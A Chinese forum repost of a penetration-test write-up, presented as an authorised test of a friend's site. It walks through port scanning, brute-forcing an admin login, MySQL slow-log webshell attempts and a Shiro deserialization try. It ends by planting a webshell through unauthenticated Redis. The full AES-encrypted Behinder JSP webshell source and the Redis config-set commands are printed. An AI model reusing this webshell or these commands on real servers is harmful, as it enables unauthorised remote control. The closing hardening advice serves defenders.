搜索

[16165] 2020-12-03_踩坑版渗透：记某次授权测试

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-12-03_踩坑版渗透：记某次授权测试 踩 坑 版 渗 透 ： 记 某 次 授 权 测 试 耳 旁 的 风   F r e e B u f   2 0 2 0 - 1 2 - 0 3 信 息 收 集 信 息 收 集 朋 友 闲 聊 中 ， 提 起 想 让 我 帮 忙 测 试 下 网 站 的 安 全 性 ， 毕 竟 好 久 不 做 这 事 ， 有 点 手 生 。 于 是 朋 友 把 站 点 告 诉 了 我 ， 前 部 分 正 常 步 骤 搜 集 信 息 ， 查 看 i p 端 口 。 P S ： 本 文 仅 用 于 学 习 交 流 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 ， 与 本 站 及 作 者 无 关 。 解 析 出 来 发 现 . . 1 9 * . 1 0 2 ， 扫 一 波 端 口 发 现 ， 2 1 / t c p     o p e n 8 0 / t c p     o p e n     h t t p                     M i c r o s o f t   I I S   h t t p d   1 0 . 0 6 3 7 9 / t c p   o p e n 8 0 8 5 / t c p   o p e n     h t t p                     n g i n x   1 . 1 6 . 1     t i a n h e 8 0 8 9 / t c p   o p e n     h t t p                     4 0 4 8 0 9 8 / t c p   o p e n     h t t p                     4 0 4 一 看 开 放 服 务 还 不 少 ， 挨 个 来 ， 抓 一 波 r e d i s 。
敏 感 地 发 现 好 像 有 弱 密 码 ， 直 接 网 站 上 去 试 试 。 还 真 给 我 找 到 了 一 个 管 理 系 统 ， 祭 出 我 强 大 的 字 典 ， 再 搞 一 搞 朋 友 名 字 的 社 工 ， 使 用 b u r p 的 i n t r u d e r 。 哈 ， 不 出 我 所 料 怼 了 两 分 钟 就 怼 进 去 了 ， 而 且 还 是 超 管 ， 这 里 就 不 放 过 程 图 了 ： 到 处 翻 了 翻 ， 发 现 是 开 发 环 境 。 系 统 文 件 上 传 ： 系 统 文 件 上 传 ： 其 中 有 些 上 传 点 ， 竟 然 接 收 P U T 方 法 ， 直 接 上 传 ， 改 文 件 名 后 缀 、 内 容 ， b u r p 走 一 波 ：
诶 ， 不 对 ， 竟 然 过 不 去 ， 好 家 伙 ！ 返 回 于 ： 返 回 于 ： F a i l e d   t o   p a r s e   m u l t i p a r t   s e r v l e t   r e q u e s t ;   n e s t e d   e x c e p t i o n   i s   j a v a . i o . I O E x c e p t i o n :   T h e   t e m p o r a r y   u p l o a d   l o c a t i o n j a v a 报 错 ， 原 因 是 没 有 该 目 录 ， 好 的 吧 ， 记 住 使 用 j s p 了 ， 用 冰 蝎 的 加 密 马 。 < % @ p a g e   i m p o r t = ” j a v a . u t i l . , j a v a x . c r y p t o . , j a v a x . c r y p t o . s p e c . * ” % > < % ! c l a s s   U   e x t e n d s C l a s s L o a d e r { U ( C l a s s L o a d e r   c ) { s u p e r ( c ) ; } p u b l i c   C l a s s   g ( b y t e   [ ] b ) { r e t u r n   s u p e r . d e f i n e C l a s s ( b , 0 , b . l e n g t h ) ; } } % > < % i f   ( r e q u e s t . g e t M e t h o d ( ) . e q u a l s ( “ P O S T ” ) ) { S t r i n g   k = ” e 4 5 e 3 2 9 f e b 5 d 9 2 5 b ” ; s e s s i o n . p u t V a l u e ( “ u ” , k ) ; C i p h e r c = C i p h e r . g e t I n s t a n c e ( “ A E S ” ) ; c . i n i t ( 2 , n e w   S e c r e t K e y S p e c ( k . g e t B y t e s ( ) , ” A E S ” ) ) ; n e w U ( t h i s . g e t C l a s s ( ) . g e t C l a s s L o a d e r ( ) ) . g ( c . d o F i n a l ( n e w s u n . m i s c . B A S E 6 4 D e c o d e r ( ) . d e c o d e B u f f e r ( r e q u e s t . g e t R e a d e r ( ) . r e a d L i n e ( ) ) ) ) . n e w I n s t a n c e ( ) . e q u a l s ( p a g e C o n t e x t ) ; } % > m y s q l 日 志 写 入 ： 日 志 写 入 ：
漫 游 系 统 中 发 现 有 s q l 数 据 库 管 理 ， 貌 似 是 直 接 拼 装 s q l 语 句 的 ： 尝 试 m y s q l 的 骚 操 作 - 慢 日 志 写 入 w e b s h e l l ： S H O W   V A R I A B L E S   L I K E   “ % s l o w _ q u e r y _ l o g % ” ; 正 常 的 话 还 可 以 类 似 ： s e t   g l o b a l   s l o w _ q u e r y _ l o g = 1 ; s e t   g l o b a l   s l o w _ q u e r y _ l o g _ f i l e = ’ C : T o m c a t w e b a p p s R O O T c o n f - b a c k . j s p ’ ; s e l e c t   ‘   < % @ p a g e   i m p o r t = ” j a v a . u t i l . * , j a v a x . c r y p t o … … . . 一 句 话 木 马 ’   o r   s l e e p ( 1 1 ) ; W T F ？ ？ ？ 解 析 错 误 ？ ？ 又 白 高 兴 了 一 场 ， 抓 了 个 包 看 看 ： 原 来 是 u r l 编 码 拼 接 了 ， 而 且 使 用 解 释 器 接 收 语 句 进 行 处 理 ， 算 了 ， 谁 让 我 这 么 菜 呢 ， 给 朋 友 做 了 太 多 日 志 不 太 好 交 差 。 s h i r o 反 序 列 化 ： 反 序 列 化 ： 分 析 数 据 包 发 现 响 应 有 r e m e m b e r M e = d e l e t e M e 标 识 ， 于 是 想 到 最 新 的 s h i r o 反 序 列 化 。
拿 出 我 的 工 具 试 一 下 ： 工 具 地 址 ： h t t p s : / / g i t h u b . c o m / f u p i n g l e e / S h i r o S c a n / r e l e a s e s h t t p s : / / g i t h u b . c o m / f u p i n g l e e / S h i r o S c a n / r e l e a s e s / t a g / v 1 . 1 h t t p s : / / g i t h u b . c o m / f u p i n g l e e / J a v a T o o l s / t r e e / m a s t e r / S h i r o # v 2 0 h t t p s : / / g i t h u b . c o m / w h 1 t 3 p 1 g / y s o s e r i a l h t t p s : / / g i t h u b . c o m / f r o h o f f / y s o s e r i a l h t t p s : / / m p . w e i x i n . q q . c o m / s / d o 8 8 _ 4 T d 1 C S e K L m F q h G C u Q 我 去 ， 不 对 劲 ， 仔 细 一 看 ， 原 来 请 求 数 据 包 只 带 t o 标 识 ， 不 使 用 标 识 ， 不 使 用 c o i e ， 于 是 直 接 放 弃 。 r e d i s 未 授 权 ： 未 授 权 ： 哎 呦 ， 一 个 小 站 还 很 牢 固 ， 没 事 ， 还 有 别 的 端 口 ， 想 起 来 刚 看 见 的 r e d i s ， 很 常 见 的 r e d i s 未 授 权 访 问 。 （ 参 考 文 章 《 R e d i s   o n   W i n d o w s   出 网 利 用 探 索 》 ： h t t p s : / / x z . a l i y u n . c o m / t / 8 1 5 3 ） 但 是 r e d i s 未 授 权 只 能 写 入 文 件 ， l i n u x 可 写 公 钥 ， 写 计 划 任 务 反 弹 ， w n d o w s 就 只 能 写 w e b s h e l l 了 ， 但 还 有 一 个 现 实 问 题 ， 需 要 获 取 真 实 目 录 。 于 是 本 菜 又 在 网 站 里 漫 游 了 一 波 ， 终 于 被 我 发 现 一 个 目 录 浏 览 功 能 ！
但 是 当 前 网 站 的 根 目 录 是 不 可 能 访 问 的 ， 只 能 解 析 到 其 余 的 盘 ， 于 是 搜 罗 了 一 波 。 好 像 发 现 了 了 不 得 的 事 情 ！ 竟 然 有 某 大 厂 杀 毒 ！ 那 我 得 小 心 了 ， 好 多 东 西 需 要 免 杀 。 发 现 好 多 个 t o m c a t ， 联 想 到 端 口 汇 总 8 0 8 9 和 8 0 9 8 都 开 放 但 是 4 0 4 ， 这 就 正 常 了 ， 只 是 测 试 站 点 ， 需 要 特 定 目 录 才 能 访 问 。 于 是 挨 个 试 ， 终 于 发 现 一 个 a i c o * 的 目 录 ：
访 问 8 0 8 9 发 现 ： 还 等 什 么 ， 试 试 r e d i s 写 入 功 能 ， 可 以 的 话 直 接 免 杀 w e b s h e l l ：
发 现 有 权 限 ， 于 是 本 地 搭 建 环 境 测 试 冰 蝎 马 ： 可 以 放 心 地 使 用 了 ： （ r e d i s 写 入 字 符 要 用 “ ” 转 义 ） c o n f i g   s e t   d i r   “ C : P r o g r a m   F i l e s * * * R O O T ” c o n f i g   s e t   d b f i l e n a m e   “ i n d e x - b a c k . j s p ” s e t   x x x 1 x x x   “ < % @ p a g e   i m p o r t = ” j a v a . u t i l . * , j a v a x . c r y p t o . * , j a v a x . c r y p t o . s p e c . * ” % > < % ! c l a s s   U   e x t e n d s C l a s s L o a d e r { U ( C l a s s L o a d e r   c ) { s u p e r ( c ) ; } p u b l i c   C l a s s   g ( b y t e   [ ] b ) { r e t u r n s u p e r . d e f i n e C l a s s ( b , 0 , b . l e n g t h ) ; } } % > < % i f   ( r e q u e s t . g e t M e t h o d ( ) . e q u a l s ( ” P O S T ” ) ) { S t r i n g k = ” e 4 5 e 3 2 9 f e b 5 d 9 2 5 b ” ; s e s s i o n . p u t V a l u e ( ” u ” , k ) ; C i p h e r   c = C i p h e r . g e t I n s t a n c e ( ” A E S ” ) ; c . i n i t ( 2 , n e w S e c r e t K e y S p e c ( k . g e t B y t e s ( ) , ” A E S ” ) ) ; n e w   U ( t h i s . g e t C l a s s ( ) . g e t C l a s s L o a d e r ( ) ) . g ( c . d o F i n a l ( n e w s u n . m i s c . B A S E 6 4 D e c o d e r ( ) . d e c o d e B u f f e r ( r e q u e s t . g e t R e a d e r ( ) . r e a d L i n e ( ) ) ) ) . n e w I n s t a n c e ( ) . e q u a l s ( p a g e C o n t e x t ) ; } % > “ 当 然 最 后 别 忘 了 复 原 ： d e l   x x x 1 x x x c o n f i g   s e t   d i r   “ C : * * *   “ c o n f i g   s e t   d b f i l e n a m e   “ d u m p ” 访 问 该 页 面 ， 没 有 报 错 。
冰 蝎 连 接 最 后 终 于 松 了 一 口 气 ， 总 算 不 是 没 有 啥 都 没 干 成 ， 然 后 整 理 一 下 报 给 朋 友 ， 顺 便 提 了 几 个 建 议 ： 别 把 测 试 服 务 公 开 在 公 网 ， 可 以 设 置 白 名 单 访 问 。 朋 友 说 这 是 在 公 网 的 单 一 服 务 器 ， 没 有 域 环 境 或 者 工 作 组 ， 于 是 就 没 有 了 后 续 步 骤 ， 不 过 朋 友 说 你 运 气 好 ， 就 这 个 服 务 是 管 理 员 权 限 ， 其 他 都 是 普 通 用 户 … … 我 表 示 ， 其 实 我 也 试 了 很 多 ， 哈 哈 哈 。 总 结 总 结 总 结 几 点 ： 避 免 设 置 弱 密 码 ， 使 用 复 杂 密 码 提 高 测 试 业 务 的 安 全 性 。 非 必 要 的 服 务 不 要 暴 露 在 公 网 。 业 务 开 发 时 对 登 录 c o o k i e 进 行 加 密 ， 避 免 使 用 单 纯 的 t o k e n 校 验 用 户 。 常 用 业 务 使 用 普 通 用 户 启 动 … . 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理